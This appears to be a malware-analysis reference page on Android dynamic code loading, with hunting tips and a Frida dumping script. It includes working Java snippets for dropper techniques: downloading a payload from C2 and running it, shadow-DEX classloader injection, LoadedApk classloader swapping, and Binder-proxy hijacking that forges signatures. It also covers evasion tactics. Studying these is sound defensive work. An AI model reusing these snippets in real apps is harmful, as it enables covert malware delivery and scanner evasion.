Dynamic Code Loading¶
Loading executable code at runtime rather than including it in the APK. The APK that passes Google Play Protect scanning contains no malicious code -- the real payload is downloaded, decrypted, or assembled after installation. This is the foundational technique behind dropper-based malware distribution and the primary reason Play Store scanners fail to catch banking trojans at upload time.
See also: Packers, Hooking, Anti-Analysis Techniques
MITRE ATT&CK
| ID | Technique | Tactic |
|---|---|---|
| T1407 | Download New Code at Runtime | Defense Evasion |
Public PoC
DexLoader -- Demo of DexClassLoader, PathClassLoader, and InMemoryDexClassLoader patterns
Requirements
| Requirement | Details |
|---|---|
| Permission | INTERNET (for network-loaded payloads) |
| Storage | Writable directory for DEX files (getFilesDir(), getCacheDir()) |
| API | DexClassLoader, InMemoryDexClassLoader, PathClassLoader |
No special permissions needed. Any app can load code from its own private storage or memory.
Class Loaders¶
Android provides multiple class loaders for runtime code loading, each with different capabilities.
DexClassLoader¶
The standard approach. Loads a DEX or JAR file from disk, outputs an optimized OAT file to a specified directory.
File dexFile = new File(getFilesDir(), "payload.dex");
File optimizedDir = getDir("odex", Context.MODE_PRIVATE);
DexClassLoader loader = new DexClassLoader(
dexFile.getAbsolutePath(),
optimizedDir.getAbsolutePath(),
null,
getClassLoader()
);
Class<?> payloadClass = loader.loadClass("com.malware.Payload");
Method entryPoint = payloadClass.getMethod("execute", Context.class);
entryPoint.invoke(null, getApplicationContext());
InMemoryDexClassLoader¶
Introduced in Android 8.0 (API 26). Loads DEX directly from a ByteBuffer without writing to disk. Significantly harder to detect and extract because the payload never touches the filesystem.
byte[] dexBytes = decryptPayload(getEncryptedAsset("config.dat"));
ByteBuffer buffer = ByteBuffer.wrap(dexBytes);
InMemoryDexClassLoader loader = new InMemoryDexClassLoader(
buffer,
getClassLoader()
);
Class<?> cls = loader.loadClass("com.malware.Stage2");
cls.getMethod("init", Context.class).invoke(null, this);
Shadow-DEX Class Impersonation¶
A more aggressive variant of PathClassLoader manipulation: the payload DEX is prepended to pathList.dexElements (index 0) so that classes inside it shadow legitimate classes resolved later in the chain. Pair this with payload classes deliberately named after AndroidX, GMS, or Firebase framework classes:
androidx.work.impl.foreground.SystemForegroundService
androidx.work.impl.background.systemalarm.RescheduleReceiver
com.google.firebase.messaging.FirebaseMessagingService
The manifest registers these as services / receivers. Android resolves them through the modified classloader, picks up the payload's shadow class first, and never sees the real AndroidX implementation. From the outside, dumpsys package and pm dump show familiar framework class names — analysts skim past them.
Object pathList = getField(getClassLoader(), "pathList");
Object[] existing = (Object[]) getField(pathList, "dexElements");
Method makeInMem = pathListCls.getDeclaredMethod(
"makeInMemoryDexElements", ByteBuffer[].class, List.class);
Object[] shadow = (Object[]) makeInMem.invoke(pathList,
new ByteBuffer[]{ByteBuffer.wrap(payloadDex)}, new ArrayList<>());
Object[] merged = new Object[shadow.length + existing.length];
System.arraycopy(shadow, 0, merged, 0, shadow.length);
System.arraycopy(existing, 0, merged, shadow.length, existing.length);
setField(pathList, "dexElements", merged);
Index-0 placement is the key detail: appended elements never resolve before the real ones, so the "merge" must put the shadow DEX first. Combined with Hidden API Bypass for the wildcard "L" exemption, the payload also gets free access to @hide framework APIs.
Hunting tip: a manifest service named androidx.work.impl.foreground.SystemForegroundService whose declaring DEX is not the AndroidX library DEX (or whose containing classloader element sits at index 0 of pathList.dexElements at runtime) is shadow-DEX impersonation, not normal AndroidX integration.
Worked example: Ostorlab's BTMOB static analysis documents an installer.dex that uses makeInMemoryDexElements for API ≥ 29 combined with reflective manipulation of the parent classloader's dexElements array to splice decrypted DEX byte buffers into the running app's classloader, so the decrypted trojan code never touches disk as a regular DEX file.
PathClassLoader Manipulation¶
The default PathClassLoader loads the APK's own classes. Malware can manipulate its internal DexPathList to inject additional DEX files into the existing class loader rather than creating a new one. This makes the loaded code appear as part of the original APK to reflection-based inspection.
Object pathList = getField(classLoader, "pathList");
Object[] dexElements = (Object[]) getField(pathList, "dexElements");
Method makeElement = findMakeElementMethod(pathList);
Object newElement = makeElement.invoke(null, payloadDexFile);
Object[] combined = Arrays.copyOf(dexElements, dexElements.length + 1);
combined[dexElements.length] = newElement;
setField(pathList, "dexElements", combined);
LoadedApk.mClassLoader Substitution¶
The canonical commercial-packer transparent-load mechanism, used by Bangcle, Tencent Legu, Qihoo 360 Jiagu, Baidu, iJiami, and most other Chinese commercial packers. After decrypting the inner DEX, the packer walks ART internals via reflection to replace the host app's LoadedApk.mClassLoader field with its own ClassLoader (which knows how to resolve classes against the unpacked DEX). All subsequent class lookups in the host app resolve transparently to the unpacked code, with no DexClassLoader / InMemoryDexClassLoader calls visible to a Frida hook on those constructors.
Class<?> at = Class.forName("android.app.ActivityThread");
Method curThread = at.getDeclaredMethod("currentActivityThread");
Object thread = curThread.invoke(null);
Field bound = at.getDeclaredField("mBoundApplication");
bound.setAccessible(true);
Object appBindData = bound.get(thread);
Field info = appBindData.getClass().getDeclaredField("info");
info.setAccessible(true);
Object loadedApk = info.get(appBindData);
Field cl = loadedApk.getClass().getDeclaredField("mClassLoader");
cl.setAccessible(true);
cl.set(loadedApk, payloadClassLoader);
Hunting signature: the recovered string table of the native loader contains the cluster currentActivityThread, mBoundApplication, LoadedApk, mClassLoader, getApplicationInfo, sourceDir, mAppDir. Even when string-encrypted, the combination is distinctive -- legitimate apps almost never reflect on all of these.
Contrasts with shadow-DEX class impersonation (which injects DEX into dexElements at index 0 to shadow legitimate classes) and PathClassLoader manipulation (which appends DEX into the existing classloader's element list). LoadedApk substitution replaces the host's classloader wholesale rather than splicing into it -- the cleanest mechanism for delivering an entire unpacked app rather than a few payload classes.
Payload Sources¶
| Source | Stealth | Persistence | Used By |
|---|---|---|---|
| Encrypted asset in APK | Low (payload in APK, just encrypted) | High (survives without network) | Harly, most packers |
Resource file disguise (res/raw/) |
High (DEX hidden as JSON/animation file, name mimics Lottie or config) | High (survives without network) | Ad fraud droppers |
| Fake library namespace | High (loader classes placed in legitimate library package like coil.fetch.*) |
High | Ad fraud droppers |
| Network download from C2 | High (no payload in APK at install) | Low (requires C2 availability) | Joker, Anatsa, SharkBot |
| SharedPreferences (Base64) | Medium (stored as string data) | Medium | Joker variants |
| ContentProvider from another app | Medium (payload in separate app) | Medium | Triada (system-level) |
| Steganographic image | High (payload hidden in PNG/JPEG) | Medium (image cached locally) | Necro |
| Expansion files (OBB) | Medium (separate download from Play) | High | Older dropper techniques |
| Firebase/cloud config | High (legitimate service as payload host) | Low | SpyLoan variants |
Multi-Stage Dropper Architecture¶
The standard architecture for Play Store malware uses staged payload delivery to separate the benign-looking dropper from the malicious functionality.
Stage 1: Play Store Dropper¶
A functional app (QR scanner, PDF reader, file manager) that passes all Play Store checks. Contains no malicious code. After installation, it contacts C2 to determine whether to activate.
Common activation conditions:
- Time delay (24-72 hours post-install to evade sandbox analysis)
- Geographic check (IP geolocation or SIM country code)
- Device validation (not an emulator, no analysis tools detected)
- C2 flag (server-side kill switch)
Stage 2: Downloaded Payload¶
Once activated, Stage 1 downloads the real payload:
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder()
.url(c2Url + "/payload/" + deviceId)
.build();
Response response = client.newCall(request).execute();
byte[] encrypted = response.body().bytes();
byte[] dexBytes = decrypt(encrypted, derivedKey);
File payloadFile = new File(getFilesDir(), "classes.dex");
FileOutputStream fos = new FileOutputStream(payloadFile);
fos.write(dexBytes);
fos.close();
DexClassLoader loader = new DexClassLoader(
payloadFile.getAbsolutePath(),
getDir("opt", MODE_PRIVATE).getAbsolutePath(),
null,
getClassLoader()
);
loader.loadClass("com.payload.Main")
.getMethod("start", Context.class)
.invoke(null, this);
Stage 2 variant: Session-Based Installer Bypass¶
When the second-stage payload is a full APK rather than a DEX, droppers use the PackageInstaller.Session API rather than ACTION_INSTALL_PACKAGE to install it silently from inside the dropper process. This requires only the REQUEST_INSTALL_PACKAGES permission and skips the explicit installation UI that older intent-based installers triggered.
ThreatFabric documented SecuriDropper as the canonical example: a dropper-as-a-service that uses session-based install specifically to bypass Android 13's Restricted Settings, which only restrict apps installed through "non-session-based installer APIs". The session-based path remains unaffected by the restriction, so the dropped malware can request Accessibility and other dangerous permissions exactly as it could on pre-Android-13 devices.
Kaspersky's BeatBanker writeup describes the same primitive in a Brazilian banker dropper: "The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play."
The combination of session-based install plus split APK abuse (see Distribution Channels) means droppers can deliver a multi-split trojan APK that never goes through Play Protect and never triggers the Android 13 Restricted Settings dialog.
Stage 3: C2 Modules¶
Some families support modular architecture where individual capabilities are loaded as separate DEX modules from C2:
| Module | Functionality | Loaded When |
|---|---|---|
overlay.dex |
Inject kit for banking apps | Target app detected on device |
sms.dex |
SMS interception | Post-privilege escalation |
vnc.dex |
Remote screen access | Operator requests session |
keylog.dex |
Accessibility keylogger | Always loaded |
ats.dex |
Automated transfer scripts | Target bank identified |
Binder-Proxy System Service Hijack¶
Dynamic code loading sometimes ships alongside an in-process replacement of a system service Binder. The payload installs a java.lang.reflect.Proxy over IActivityManager (or IPackageManager, IActivityTaskManager) and writes it back into the framework's static singleton via reflection — for the lifetime of the process, every call to that service inside the app is routed through the payload's InvocationHandler.
Class<?> amn = Class.forName("android.app.ActivityManagerNative");
Field gDef = amn.getDeclaredField("gDefault");
gDef.setAccessible(true);
Object singleton = gDef.get(null);
Field mInstance = singleton.getClass().getSuperclass()
.getDeclaredField("mInstance");
mInstance.setAccessible(true);
Object real = mInstance.get(singleton);
Class<?> iAm = Class.forName("android.app.IActivityManager");
Object proxy = Proxy.newProxyInstance(
iAm.getClassLoader(), new Class[]{iAm},
(p, method, args) -> {
Object result = method.invoke(real, args);
if ("startActivity".equals(method.getName())) {
captureIntent((Intent) args[2]);
} else if ("getPackageInfo".equals(method.getName())) {
result = forgeSignature(result);
}
return result;
});
mInstance.set(singleton, proxy);
The hook surface is huge: every startActivity, startService, sendBroadcast, getPackageInfo, getInstalledPackages call from anywhere in the process flows through the proxy. Used for:
| Goal | Method intercepted | Action |
|---|---|---|
| Click-attribution / intent fraud | startActivity |
Capture URL/extras and POST to C2 before forwarding |
| Forge own signature for license checks | getPackageInfo |
Return a PackageInfo carrying the original developer's signing cert instead of the repack's |
| Hide other apps from enumeration | getInstalledPackages |
Filter the result list (anti-AV, anti-MITM-tool detection) |
| Re-route service starts | startService |
Swap Intent.component to a payload service |
Version-aware variants split at API 29 where IActivityTaskManager carries part of the surface that used to be on IActivityManager. Legitimate use exists in plugin frameworks (DroidPlugin, ByteDance Pangle) — by itself the pattern is not a smoking gun. Pair with the other DCL signals (InMemoryDexClassLoader, hidden-API exemption, encrypted assets) for confident attribution.
Reflection-Based Instantiation¶
After loading a class, malware uses reflection to instantiate and invoke methods without compile-time dependencies. This also defeats static analysis since there are no direct references to the payload classes.
Class<?> cls = loader.loadClass("com.payload.EntryPoint");
Object instance = cls.getDeclaredConstructor().newInstance();
Method init = cls.getDeclaredMethod("initialize", Context.class, String.class);
init.setAccessible(true);
init.invoke(instance, context, c2Url);
Method run = cls.getDeclaredMethod("run");
run.setAccessible(true);
run.invoke(instance);
Families Using Dynamic Code Loading¶
| Family | Loading Method | Payload Source | Stages |
|---|---|---|---|
| Joker | DexClassLoader | C2 download, SharedPreferences | 2-3 |
| Anatsa | DexClassLoader | C2 download (staged) | 3 |
| SharkBot | DexClassLoader | Auto-update from C2 | 2 |
| Necro | InMemoryDexClassLoader | Steganographic PNG | 3 |
| Mandrake | DexClassLoader | Multi-stage C2 delivery | 4 |
| Harly | DexClassLoader | Encrypted APK assets | 2 |
| Triada | PathClassLoader injection | System partition / ContentProvider | 2 |
| Xenomorph | DexClassLoader | Dropper downloads payload APK | 2 |
| Hook | DexClassLoader | Dropper with encrypted asset | 2 |
| Vultur | DexClassLoader | C2 download (encrypted) | 3 |
| GoldPickaxe | InMemoryDexClassLoader | C2 download | 2 |
| SpyLoan | DexClassLoader | Firebase remote config | 2 |
XOR + Classloader Injection Packing¶
A common packing technique where the payload is stored as an encrypted asset file and injected into the running classloader at startup. Unlike multi-stage dropper architectures that download payloads from C2, this approach ships the encrypted payload inside the APK itself.
Loading Chain¶
Application.attachBaseContext()triggers the loader (beforeonCreate(), so the payload is ready before any activity starts)- An asset file (often with a numeric or obfuscated name) is read into memory
- The bytes are XOR-decrypted using
java.util.Randomwith a hardcoded seed as the PRNG - Decrypted bytes are a ZIP containing one or more
classes*.dexfiles - DEX files are loaded via
InMemoryDexClassLoader(API 26+) orDexClassLoaderfor older devices - The loaded
dexElementsarray is merged into the current classloader'spathList.dexElementsvia reflection
byte[] encrypted = readAsset("payload.bin");
Random rng = new Random(HARDCODED_SEED);
byte[] decrypted = new byte[encrypted.length];
for (int i = 0; i < encrypted.length; i++) {
decrypted[i] = (byte) (encrypted[i] ^ rng.nextInt(256));
}
ZipInputStream zis = new ZipInputStream(new ByteArrayInputStream(decrypted));
ByteBuffer dexBuffer = extractDex(zis);
InMemoryDexClassLoader loader = new InMemoryDexClassLoader(dexBuffer, getClassLoader());
Object pathList = getField(getClassLoader(), "pathList");
Object[] existing = (Object[]) getField(pathList, "dexElements");
Object[] injected = (Object[]) getField(getField(loader, "pathList"), "dexElements");
Object[] merged = Arrays.copyOf(existing, existing.length + injected.length);
System.arraycopy(injected, 0, merged, existing.length, injected.length);
setField(pathList, "dexElements", merged);
The outer shell is typically very small (10-20 classes) and looks innocent: just the Application class, a Runnable, and the decryptor. The real payload can be 2000+ classes. Static scanners that only analyze the outer DEX miss everything.
Detection¶
attachBaseContext()calling anything beyondsuper.attachBaseContext()InMemoryDexClassLoaderorDexClassLoaderusage in the Application class- Reflection on
BaseDexClassLoader.pathList.dexElements - High-entropy asset files with numeric or obfuscated names
- The XOR seed is always hardcoded: finding it enables offline decryption of the payload
Steganographic Payload Delivery¶
Steganography as Anti-Detection
Necro (2024) demonstrated a notable technique: the payload DEX is embedded within a PNG image using steganographic encoding. The loader extracts pixel data from the image's alpha channel, reassembles the bytes into a DEX file, and loads it via InMemoryDexClassLoader. The PNG itself is a valid image that displays normally, making it invisible to content-based scanning. Check for high-entropy image assets in the APK's resources and assets directories.
Connection to Packing¶
Commercial packers and malware dynamic loaders solve the same problem: executing code that is not visible in the APK's primary classes.dex. A packer encrypts the original DEX and bundles a stub that decrypts and loads it at runtime. The only architectural difference is that packers include the encrypted payload within the APK, while malware droppers download it from an external source.
See: Packers for detailed analysis of commercial packing solutions.
Platform Lifecycle¶
| Android Version | API | Change | Offensive Impact |
|---|---|---|---|
| 1.0 | 1 | DexClassLoader available |
Runtime DEX loading from disk |
| 5.0 | 21 | ART replaces Dalvik, OAT compilation | DEX still loadable, compiled to native at load time |
| 8.0 | 26 | InMemoryDexClassLoader introduced |
Fileless payload loading from ByteBuffer, no filesystem trace |
| 10 | 29 | Restricted access to /data/local/tmp |
Minor, malware uses app-private directories |
| 13 | 33 | Dynamic code loading audit warnings | Logged but not enforced |
| 14 | 34 | Dynamic code loading from writable paths triggers warning | DEX files in writable directories flagged by DexFile loading checks |
| 14 | 34 | ENFORCE_DYNAMIC_CODE_LOADING flag |
Apps can opt into read-only enforcement for loaded code |
| 15 | 35 | Stricter enforcement for apps targeting API 35 | Loaded DEX must be in read-only paths; malware marks files read-only after writing or uses InMemoryDexClassLoader |
Android 14's restriction is significant: DexClassLoader loading from getFilesDir() or getCacheDir() now logs warnings, and apps targeting API 34+ that set ENFORCE_DYNAMIC_CODE_LOADING will crash if the loaded file is writable. Malware adapts by marking payload files as read-only after writing, or by using InMemoryDexClassLoader to avoid the filesystem entirely.
InMemoryDexClassLoader Leaves No Filesystem Trace
If a sample uses InMemoryDexClassLoader, the payload DEX never touches disk. The only way to capture it is at runtime using Frida hooks on the class loader constructor (see the Frida script above) or by dumping the process memory. Static analysis alone will not reveal the payload.
Detection During Analysis¶
Static Indicators
DexClassLoaderorInMemoryDexClassLoaderin decompiled codeClass.forName()with string-constructed class namesMethod.invoke()patterns on reflectively loaded classes- Encrypted blobs in assets directory (high entropy files)
- Network URLs in strings referencing
.dex,.jar, or.apkdownloads getDir("odex")or similar optimized-DEX output directories
Dynamic Indicators
- New DEX files appearing in app's private storage post-launch
- Delayed network requests (hours after install) fetching large binary payloads
dlopenorSystem.loadLibraryfor native code loading variants- Process loading DEX files not present in the original APK
Frida Script -- Dump Dynamically Loaded DEX Files
Java.perform(function() {
var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log("[DCL] Loading DEX from: " + dexPath);
var f = Java.use("java.io.File").$new(dexPath);
console.log("[DCL] Size: " + f.length() + " bytes");
return this.$init(dexPath, optDir, libPath, parent);
};
var InMemDCL = Java.use("dalvik.system.InMemoryDexClassLoader");
InMemDCL.$init.overload("java.nio.ByteBuffer", "java.lang.ClassLoader")
.implementation = function(buffer, parent) {
console.log("[IMDCL] In-memory DEX loaded, size: " + buffer.remaining());
var bytes = Java.array("byte", new Array(buffer.remaining()));
buffer.get(bytes);
buffer.rewind();
var path = "/data/local/tmp/dumped_" + Date.now() + ".dex";
var fos = Java.use("java.io.FileOutputStream").$new(path);
fos.write(bytes);
fos.close();
console.log("[IMDCL] Dumped to: " + path);
return this.$init(buffer, parent);
};
var ClassLoader = Java.use("java.lang.ClassLoader");
ClassLoader.loadClass.overload("java.lang.String").implementation = function(name) {
if (name.indexOf("com.malware") !== -1 || name.indexOf("payload") !== -1) {
console.log("[CL] loadClass: " + name);
}
return this.loadClass(name);
};
});